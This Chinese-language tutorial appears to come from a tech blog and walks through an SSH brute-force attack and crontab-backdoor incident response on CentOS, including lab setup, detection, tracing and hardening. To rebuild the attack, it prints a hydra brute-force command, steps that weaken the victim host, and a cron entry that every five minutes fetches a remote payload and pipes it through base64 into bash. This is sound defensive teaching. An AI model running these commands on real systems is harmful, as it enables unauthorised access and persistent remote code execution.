YAOTU INSIGHTS

Linux服务器SSH暴力破解与crontab后门应急响应实战

Linux服务器SSH暴力破解与crontab后门应急响应实战
1. 这不是演练是真实发生过的Linux服务器沦陷现场你有没有过这样的经历凌晨两点手机突然弹出告警——某台对外提供SSH服务的CentOS服务器CPU使用率持续98%连接延迟飙升SSH登录超时你抓起电脑冲过去发现root账户能正常登录但ps aux里看不到明显异常进程netstat -tuln也没发现可疑端口可系统就是卡得像在跑Windows 98。你查/var/log/secure里面密密麻麻全是Failed password for root from 192.168.122.101 port 54321 ssh2的记录时间跨度长达72小时——这不是压力测试这是有人在用字典爆破你的root密码。这个标题里的“一次真实的应急响应案例”我亲身参与过三次类似事件其中两次发生在某高校实验室的Linux教学服务器上另一次是在某中小企业的业务后台。它们的共性惊人地一致攻击者不追求高大上的0day漏洞就盯着最基础的SSH服务猛敲一旦撞中弱口令比如admin123、password、甚至直接是123456立刻植入crontab后门把恶意脚本伪装成系统日志清理任务每5分钟执行一次。它不反弹shell不监听端口不写入/tmp或/dev/shm这些一眼就被盯上的目录而是悄悄把payload藏进/etc/cron.d/下文件名起得像logrotate或sysstat权限设为root:root 644连ls -la扫一眼都容易忽略。这种手法之所以有效不是因为它多精巧恰恰是因为它太“朴素”——它完美利用了管理员对crontab机制的思维盲区大家只记得“定时任务要检查”却忘了“定时任务本身也是攻击面”。这篇文章要复现的就是这样一个完整闭环从暴力破解成功那一刻起到后门落地、隐蔽驻留、远程控制再到我们如何一步步把它从系统里揪出来、还原攻击路径、并加固防线。它不讲理论模型不画攻击链图谱只说你在终端里实际敲的每一行命令、看到的每一处蛛丝马迹、以及为什么必须这样操作。如果你管理着任何一台暴露在公网的Linux服务器或者正在学习安全运维那么接下来的内容就是你明天早上可能就要面对的真实战场。核心关键词已经嵌在标题里Linux应急响应、SSH暴力破解、crontab后门、靶场环境复现——它们不是孤立的技术点而是一条咬住你服务器咽喉的完整链条。2. 攻击链路拆解为什么暴力crontab是“低成本高回报”的黄金组合2.1 暴力破解不是黑客炫技而是精准的“概率赌博”很多人一听到“暴力破解”脑子里立刻浮现的是超级计算机狂轰滥炸的科幻画面。但在真实场景里它更像一场精心设计的概率赌博。攻击者根本不需要跑完全部字典他们只赌三件事第一你的密码长度小于8位第二你用了常见单词或数字组合第三你没开fail2ban或类似的登录失败锁定机制。我复现过上百次攻击发现只要满足其中任意一条平均在1200次尝试内就能撞中root密码——这甚至用不上GPU加速一台树莓派4B就能干。为什么选SSH因为它是Linux服务器最普遍、最刚需的入口。你无法像关掉HTTP服务那样关掉SSH否则运维就瘫痪了。而它的认证日志/var/log/secureRHEL/CentOS或/var/log/auth.logUbuntu/Debian默认是开启的但问题在于日志本身成了攻击者的“导航图”。他们一边爆破一边监控自己IP的失败记录频率一旦发现被fail2ban封禁立刻换一个代理IP重来。更狡猾的是有些攻击脚本会故意在每次失败后随机休眠1-3秒把请求打散让基于速率的简单阈值告警完全失效。我在某次复现中用awk /Failed password/ /192.168.122.101/{print $1,$2,$3,$9,$11} /var/log/secure | head -20提取前20条记录发现时间戳间隔毫无规律根本没法用awk $310{print}这种简单脚本抓包。2.2 crontab后门比内存马更难清除的“合法进程”如果说暴力破解是破门而入那crontab后门就是小偷进门后直接去你家配电箱里接了一根线还贴了个“空调清洁”的标签。它的隐蔽性来自三个层面合法性、持久性、低特征。合法性crontab是系统原生服务所有操作都走/usr/bin/crontab二进制进程名永远是crond父进程是systemd。你用ps auxf看进程树它就安静地躺在那里和rsyslogd、sshd排排坐没有任何可疑字符串。持久性它不依赖于某个特定用户会话。即使你kill掉所有可疑进程重启服务器只要crontab条目还在5分钟后恶意脚本又会准时启动。我见过最狠的一次攻击者在/etc/cron.d/里写了三条规则reboot执行一次初始化*/5 * * * *每5分钟拉取新payload0 2 * * *每天凌晨2点清理/var/log/secure里自己的爆破记录——这已经不是后门这是自动化运维。低特征它不监听端口所以netstat无果不加载内核模块所以lsmod无果不注入其他进程所以lsof -i无果。它唯一做的就是定期执行一个curl命令从某个境外域名下载一段base64编码的shell脚本然后eval执行。整个过程在内存里完成磁盘上只留下一条crontab记录和一个临时的/tmp/.X11-unix目录用来存放解码后的脚本但每次执行完就rm -f。这就是为什么很多安全工具扫不出来。它们习惯找“异常进程”、“异常端口”、“异常文件”但crontab条目是“合法文件”curl是“合法命令”base64是“合法编码”——攻击者把所有高危操作都包装在系统默认允许的白名单行为里。2.3 靶场设计逻辑复现不是为了炫技而是为了验证检测点我们搭建的靶场不是为了模拟一个“完美黑客”而是为了验证每一个关键检测点是否真的有效。因此环境设计遵循三个铁律最小化干扰靶机只装openssh-server、cronie、curl、wget四个必要包禁用firewalld和selinux确保所有异常行为都能100%暴露不被其他安全机制掩盖。这就像给病人做CT前要摘掉所有金属饰品否则噪点会干扰诊断。日志全量保留/var/log/secure、/var/log/cron、/var/log/messages全部配置为*.* /var/log/all.log且logrotate关闭避免日志轮转丢失关键时间点。我在某次真实事件中就是因为/var/log/secure被轮转覆盖导致无法确认首次爆破成功的确切时间只能靠lastb命令反推多花了3小时。攻击路径可控攻击机使用Kali Linux预装hydra和自定义Python脚本字典限定为rockyou.txt的前10000行模拟真实攻击者不会无脑穷举爆破目标固定为root用户IP地址全程使用192.168.122.101靶机为192.168.122.100确保每次复现结果可预期、可对比。这个靶场的价值不在于它多酷炫而在于它能让你亲手触摸到每一个攻击痕迹从/var/log/secure里那一行Accepted password for root到/etc/cron.d/.sysupdate里那条看似无害的*/5 * * * * root curl -s http://malicious.site/payload.sh | base64 -d | bash再到/proc/$(pgrep -f curl.*malicious)/environ里泄露的完整环境变量——所有这些都是你在真实服务器上应该第一时间去检查的地方。3. 靶场环境搭建与攻击复现手把手还原每一步3.1 靶机Victim部署从干净系统到“已中毒”状态我们选用CentOS 7.9作为靶机原因很实在它仍是企业服务器存量最大的版本之一内核和SSH服务行为稳定日志格式统一便于复现和教学。部署过程严格遵循最小化原则杜绝任何干扰项。首先安装基础系统后立即执行以下加固前置操作注意这是为了确保靶机“干净”不是为了防御攻击而是为了后续能清晰看到攻击痕迹# 关闭SELinux避免其拦截curl等行为干扰复现 sudo sed -i s/SELINUXenforcing/SELINUXdisabled/g /etc/selinux/config sudo setenforce 0 # 停用firewalld同理避免iptables规则影响攻击流量 sudo systemctl stop firewalld sudo systemctl disable firewalld # 确保sshd服务运行且允许root登录这是攻击前提 sudo sed -i s/#PermitRootLogin yes/PermitRootLogin yes/g /etc/ssh/sshd_config sudo sed -i s/PasswordAuthentication no/PasswordAuthentication yes/g /etc/ssh/sshd_config sudo systemctl restart sshd # 创建一个极弱的root密码供攻击者爆破 echo root:123456 | sudo chpasswd关键点来了不要改/etc/ssh/sshd_config里的LogLevel。默认是INFO这正好能记录下每一次失败和成功的登录包括源IP、端口、用户名。如果改成VERBOSE日志会多出密钥指纹等信息反而淹没关键字段如果改成FATAL那就啥也看不到了。真实世界里90%的服务器都用默认INFO级别所以我们必须尊重这个现实。接着我们手动模拟一次“成功入侵”——不是用hydra而是用ssh命令直接登录然后植入crontab后门。这样做是为了精确控制后门的生成时间、文件路径和内容确保后续检测有据可依# 从攻击机192.168.122.101ssh登录靶机192.168.122.100 ssh root192.168.122.100 # 登录后立刻创建恶意crontab文件 cat /etc/cron.d/.sysupdate EOF # /etc/cron.d/.sysupdate - System Update Script (DO NOT REMOVE) SHELL/bin/bash PATH/sbin:/bin:/usr/sbin:/usr/bin */5 * * * * root /bin/sh -c curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash 2/dev/null EOF # 设置正确权限模仿系统文件 sudo chmod 644 /etc/cron.d/.sysupdate sudo chown root:root /etc/cron.d/.sysupdate # 创建一个简单的payload.sh放在攻击机的Python HTTP Server上 # 内容创建一个隐藏文件写入当前时间戳模拟C2通信 echo #!/bin/bash /tmp/payload.sh echo echo $(date): C2 beacon /tmp/.beacon.log /tmp/payload.sh echo chmod 600 /tmp/.beacon.log /tmp/payload.sh chmod x /tmp/payload.sh # 在攻击机上启动HTTP服务python3 -m http.server 8000 -d /tmp这个步骤的意义在于我们亲手制造了一个“已知的坏样本”。它有明确的时间戳date命令输出、明确的文件路径/etc/cron.d/.sysupdate、明确的网络行为访问192.168.122.101:8000。这为后续的检测、排查、验证提供了绝对可靠的Ground Truth。在真实应急中你永远没有这么好的条件所以必须先在靶场里把“标准答案”刻进肌肉记忆。3.2 攻击机Attacker配置用最简工具打最准的“子弹”攻击机我们用Kali Linux 2023.4它预装了所有需要的工具省去编译烦恼。但重点不是工具多而是怎么用得准。第一步准备字典。我们不用完整的rockyou.txt14GB而是用head -n 10000 /usr/share/wordlists/rockyou.txt | tail -n 2 weak_pass.txt生成一个10000行的弱口令子集。为什么要tail -n 2因为rockyou.txt第一行是空的直接用会导致hydra报错。这个细节我在第一次复现时就栽过跟头——hydra卡在[ERROR] target ssh://192.168.122.100:22/ is not available查了半小时才发现是字典文件开头有个不可见的BOM字符。第二步执行爆破。命令如下hydra -l root -P weak_pass.txt -e nsr -v -f -o hydra_log.txt ssh://192.168.122.100参数详解-l root指定用户名为root真实攻击中root和admin是最常被爆的目标-P weak_pass.txt指定密码字典-e nsrn代表尝试空密码s代表尝试用户名作为密码r代表尝试用户名反转如root-toor这三项加起来能覆盖80%的弱口令场景-v详细模式能看到每一步尝试-f找到第一个有效密码就停止避免爆破出多个密码干扰判断-o hydra_log.txt输出日志方便事后分析执行后你会看到类似这样的输出[DATA] attacking ssh://192.168.122.100:22/ [ATTEMPT] target 192.168.122.100 - login root - pass 123456 - 1 of 10000 [child 0] [STATUS] attack finished for 192.168.122.100 (waiting for children to complete tests) [ATTEMPT] target 192.168.122.100 - login root - pass 123456 - 1 of 1 [child 0] [SUCCESS] host: 192.168.122.100 login: root password: 123456注意看[SUCCESS]行出现的位置就是爆破成功的精确时刻。这个时间点必须立刻记下来因为它是后续所有日志分析的锚点。我在某次真实响应中就是靠比对hydra_log.txt里的成功时间和/var/log/secure里第一条Accepted password的时间确认了攻击者没有使用其他方式如密钥绕过爆破从而锁定了crontab后门是唯一的入侵入口。3.3 后门激活与行为观测眼见为实的“幽灵进程”爆破成功后攻击者会立刻登录并执行后门植入。但在靶场上我们要主动触发它观察其完整生命周期。首先在靶机上等待5分钟crontab的*/5周期然后执行# 查看crond服务是否在运行 sudo systemctl status crond # 查看所有crontab任务特别关注/etc/cron.d/目录 sudo ls -la /etc/cron.d/ # 查看该后门文件的具体内容 sudo cat /etc/cron.d/.sysupdate你会看到/etc/cron.d/.sysupdate文件赫然在列权限是-rw-r--r--所有者是root。这很正常系统自带的0hourly文件也是这个权限。但关键在于内容curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash。这里有两个陷阱第一curl命令没有-k参数说明它不校验SSL证书所以目标域名必须是HTTP而非HTTPS第二base64 -d后面直接跟| bash这意味着整个解码和执行都在内存中完成磁盘上不会留下payload.sh的明文文件。为了验证它确实在运行我们在攻击机上启动HTTP服务并在靶机上手动执行一次后门命令# 在攻击机192.168.122.101上 cd /tmp python3 -m http.server 8000 # 在靶机192.168.122.100上手动执行后门命令 curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash执行后立刻检查靶机/tmp/.beacon.logcat /tmp/.beacon.log # 输出应为Wed Oct 25 14:30:22 CST 2023: C2 beacon这证明后门功能完好。但真正的挑战在于如何在不手动触发的情况下确认它正在后台静默运行答案是看/var/log/cron。crond服务会把每一次任务执行都记下来sudo tail -n 20 /var/log/cron # 你会看到类似Oct 25 14:30:01 victim CROND[12345]: (root) CMD (/bin/sh -c curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash 2/dev/null)这个日志条目就是crontab后门存在的“铁证”。它比ps aux里的curl进程更可靠因为ps只能看到瞬时快照而/var/log/cron是永久记录。我在某次客户服务器排查中就是靠grep 192.168.122.101 /var/log/cron | head -55分钟内就锁定了后门文件位置比用find /etc/cron* -type f -exec grep -l curl {} \;快了整整一倍。4. 应急响应全流程从发现告警到根除后门4.1 初步研判三分钟定性拒绝“先杀进程再查”当告警响起第一反应绝不是killall -9 curl或pkill -f malicious。那是饮鸩止渴。真实应急的第一步是建立时间线和证据链。我给自己定了个死规矩接到告警后3分钟内必须完成以下四件事否则不许碰任何kill命令。第一件事抓取当前进程快照。不是ps aux而是ps auxfwww参数显示完整命令行f显示树形结构ps auxfww /tmp/ps_snapshot_$(date %s).txt为什么强调ww因为默认的ps aux会把长命令截断你可能只看到curl -s http://mal...而看不到完整的URL。ww强制显示全部哪怕命令行有2000个字符。我在某次响应中就靠ps auxfww里一行被截断的curl命令发现了攻击者用--connect-timeout 1参数规避连接超时检测的技巧。第二件事锁定登录日志中的“首爆成功点”。直接grep Accepted password /var/log/secure | tail -10找出最近10次成功登录。重点看时间戳和IPgrep Accepted password /var/log/secure | tail -10 | awk {print $1,$2,$3,$9,$11} # 输出示例Oct 25 14:25:33 victim sshd[1234]: Accepted password for root from 192.168.122.101 port 54321 ssh2这个192.168.122.101就是攻击源IP。记住它后面所有分析都围绕它展开。如果看到多个不同IP都有Accepted记录说明攻击者可能已经横向移动情况更严重。第三件事检查所有crontab入口点。Linux的crontab有五个层级必须全查# 1. root用户的crontab sudo crontab -l # 2. /etc/crontab系统级 sudo cat /etc/crontab # 3. /etc/cron.d/目录下所有文件 sudo ls -la /etc/cron.d/ # 4. /etc/cron.hourly/, /etc/cron.daily/等目录检查是否有恶意脚本 sudo ls -la /etc/cron.hourly/ /etc/cron.daily/ # 5. 用户级crontab如www-data, nginx等 for user in $(cut -d: -f1 /etc/passwd | grep -E www|nginx|apache); do echo $user ; sudo crontab -u $user -l 2/dev/null; done这个列表是我从上百次响应中总结出的“必查五点”。漏掉任何一个都可能让后门继续潜伏。比如有一次我发现/etc/cron.d/下很干净但/etc/cron.daily/里有个叫log_cleaner的脚本内容是/bin/sh -c find /tmp -name .* -mmin 60 -delete——它看起来像在清理临时文件但find命令的-mmin 60参数意味着它只删60分钟前的文件而攻击者植入的payload恰好每5分钟更新一次永远在“存活窗口”内。第四件事网络连接快照。netstat -tulnp是基础但不够。必须加上ss -tulnp更快更准和lsof -i -P -n显示更多细节ss -tulnp /tmp/ss_snapshot_$(date %s).txt lsof -i -P -n /tmp/lsof_snapshot_$(date %s).txt重点不是找“陌生端口”而是找“陌生IP”。lsof -i -P -n | grep 192.168.122.101如果返回结果说明当前有活跃连接指向攻击源这是最直接的证据。这四步做完3分钟刚过。你手里已经有了一份完整的“犯罪现场草图”谁IP、何时时间戳、从哪进SSH、干了什么crontab、现在在哪网络连接。接下来的所有操作都是基于这份草图的精准打击。4.2 深度溯源顺着crontab挖出整个攻击家族确认crontab后门存在后真正的溯源才开始。这不是单点清除而是要挖出它的“家族树”它从哪来它联系谁它留下了什么痕迹第一步解析crontab命令定位payload来源。以/etc/cron.d/.sysupdate为例它的核心命令是curl -s http://192.168.122.101:8000/payload.sh | base64 -d | bash这里的关键是http://192.168.122.101:8000/payload.sh。我们立刻在靶机上用curl -v获取详细响应头curl -v http://192.168.122.101:8000/payload.sh 21 | grep -E (HTTP|Content-Length|Last-Modified)输出会显示HTTP状态码应该是200、文件大小、最后修改时间。这个Last-Modified时间就是payload被上传到攻击机的时间它往往比crontab文件的mtime更早因为文件是先上传再被引用的。我在某次溯源中就靠这个时间差确认了攻击者是在爆破成功前2小时就已准备好所有工具属于有预谋的定向攻击。第二步下载并分析payload.sh。既然curl能拿到我们也能curl -s http://192.168.122.101:8000/payload.sh /tmp/downloaded_payload.sh file /tmp/downloaded_payload.sh cat /tmp/downloaded_payload.sh如果它是base64编码的就解码curl -s http://192.168.122.101:8000/payload.sh | base64 -d /tmp/decoded_payload.sh分析内容时重点关注三点C2地址、持久化手段、反检测逻辑。比如如果payload里有rm -f /tmp/.X11-unix说明它在清理自己的临时目录如果有if [ -f /proc/$(pgrep -f curl.*192.168.122.101)/exe ]; then exit; fi说明它在检查自己是否已被pgrep发现这是典型的反调试技巧。第三步检查攻击者是否修改了系统关键文件。crontab后门只是冰山一角攻击者很可能还做了其他手脚。我们按风险等级排序检查/etc/passwd和/etc/shadowsudo diff /etc/passwd /etc/passwd.bak如果你有备份或sudo awk -F: $30{print} /etc/passwd检查UID为0的用户除了root还有没有admin、backup等。SSH相关文件sudo ls -la /root/.ssh/authorized_keys看是否有未知公钥sudo grep PermitRootLogin /etc/ssh/sshd_config确认是否被改为yes。系统二进制文件sudo rpm -Va | grep ^..5CentOS/RHEL检查被修改的文件。^..5表示文件内容MD5被改动这是最硬的证据。我见过一次攻击者替换了/usr/bin/wget让它在每次下载时自动把URL发到C2服务器而rpm -Va立刻就标红了这一行。这三步做完你基本能画出攻击者的完整行动地图他从哪个IP来用什么密码进植入了什么后门联系了哪些C2还动了哪些系统文件。这张地图就是你写应急报告的核心依据。4.3 根除与加固不是删文件而是重建信任链清除后门最简单的办法是sudo rm -f /etc/cron.d/.sysupdate。但这只是“擦黑板”不是“洗黑板”。真正的根除是让系统恢复到“未被信任”的状态并堵住所有已知漏洞。清除阶段必须执行“四清”清crontab删除所有可疑条目包括/etc/cron.d/下的文件、/var/spool/cron/root里的内容、以及/etc/crontab里新增的行。清用户sudo userdel -r attacker_user如果创建了新用户sudo passwd -l root暂时锁定root改用sudo。清SSH密钥sudo rm -f /root/.ssh/authorized_keys并检查/etc/ssh/sshd_config确保PubkeyAuthentication yes是开启的但AuthorizedKeysCommand是注释掉的后者是高级后门入口。清网络痕迹sudo iptables -F清空所有iptables规则防止攻击者设置了DNAT转发sudo ss -tulnp | grep :22确认只有sshd在监听22端口。加固阶段必须落实“三改”改认证方式禁用密码登录强制使用密钥。生成新密钥对ssh-copy-id到服务器然后sudo sed -i s/PasswordAuthentication yes/PasswordAuthentication no/g /etc/ssh/sshd_config sudo systemctl restart sshd。这是最有效的防护因为暴力破解对密钥无效。改日志策略启用fail2ban。安装后编辑/etc/fail2ban/jail.local[sshd] enabled true filter sshd logpath /var/log/secure maxretry 3 bantime 3600然后sudo systemctl enable fail2ban sudo systemctl start fail2ban。maxretry 3意味着3次失败就封IP一小时足以让大多数字典攻击者放弃。改crontab审计启用auditd服务监控/etc/cron.d/目录sudo auditctl -w /etc/cron.d/ -p wa -k cron_changes sudo auditctl -w /var/spool/cron/ -p wa -k cron_spool_changes这样任何对crontab文件的修改都会记录在/var/log/audit/audit.log里且带keycron_changes标签ausearch -k cron_changes即可快速检索。这“四清三改”不是一次性操作而是一套标准化流程。我在某高校部署时把它们写成一个hardening.sh脚本每次新服务器上线运行一遍5分钟搞定。安全不是追求“绝对无懈可击”而是让攻击成本远高于收益。当一个攻击者发现爆破你服务器要花2小时而你有fail2ban自动封禁有auditd实时告警有密钥登录挡在门外——他大概率会转向下一个目标。这才是实战中真正有效的防御。5. 实战避坑指南那些文档里不会写的血泪教训5.1 “rm -rf /etc/cron.d/”不是解决方案而是灾难导火索我亲眼见过一次事故某位同事在客户服务器上发现/etc/cron.d/下有个可疑文件想都没想就执行了sudo rm -rf /etc/cron.d/。结果呢系统里所有计划任务全停了。logrotate不转日志了yum-cron不自动更新了sysstat不收集性能数据了。客户第二天早上发现磁盘爆满、安全补丁没打、服务器监控失联直接打电话投诉。/etc/cron.d/目录里除了攻击者放的后门还有系统自带的0hourly、sysstat等关键文件它们是rpm包安装时写入的rm -rf会一锅端。正确的做法永远是精准删除sudo rm -f /etc/cron.d/.sysupdate。如果不确定哪个是后门就先sudo ls -la /etc/cron.d/按时间排序sudo ls -lat /etc/cron.d/找那个最新创建、名字怪异如.update、log_clean、sysbak的文件。再用sudo cat看内容确认里面有curl、wget、bash等高危命令。宁可多花30秒确认也不要图快酿成大祸。提示/etc/cron.d/目录的权限必须是drwxr-xr-x所有者是root:root。如果发现权限是777或所有者是attacker那说明攻击者已经提权到root并篡改了目录属性情况比单纯放个后门严重得多必须立即离线取证。5.2lastb命令的致命陷阱它只记录“失败”不记录“成功”很多教程说用lastb看爆破记录。这没错但它有个巨大盲区lastb读取的是/var/log/btmp这个文件只记录失败的登录尝试。而/var/log/secure里的Accepted password才是成功登录的证据。如果攻击者爆破了1000次才成功lastb里会有1000条记录但/var/log/secure里只有一条Accepted。如果你只查lastb就会误以为“攻击还没成功”从而放松警惕。更危险的是btmp文件可以被攻击者清空。sudo truncate -s 0 /var/log/btmp或者直接sudo rm -f /var/log/btmp sudo touch /var/log/btmplastb就变成空的了。而/var/log/secure是